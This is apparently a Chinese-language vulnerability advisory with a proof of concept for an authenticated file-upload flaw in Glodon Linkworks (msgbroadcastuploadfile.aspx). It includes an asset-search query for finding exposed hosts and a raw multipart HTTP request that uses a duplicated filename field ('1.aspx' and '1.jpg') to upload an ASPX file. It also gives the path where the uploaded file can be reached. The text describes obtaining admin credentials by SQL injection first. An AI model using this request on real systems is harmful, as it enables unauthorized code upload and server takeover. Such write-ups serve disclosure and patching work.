# 广联达 Linkworks msgbroadcastuploadfile.aspx 后台文件上传漏洞
# 漏洞描述
广联达 Linkworks msgbroadcastuploadfile.aspx 存在后台文件上传漏洞，攻击者通过SQL注入获取管理员信息后，可以登陆发送请求包获取服务器权限
# 漏洞影响
广联达 Linkworks
# 网络测绘
web.body="/Services/Identification/"
# 漏洞复现
登陆页面
GTP.IM.Services.Group.WebSite.GTP.IM.Services.Group 存在文件上传，上传后在当前目录 Upload下
通过SQL注入获取管理员账号密码后登陆后台上传文件,验证POC
POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 0_styleName=styleA
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text
Test
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
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/GTP/IM/Services/Group/Upload/xxx-xxx-test.aspx
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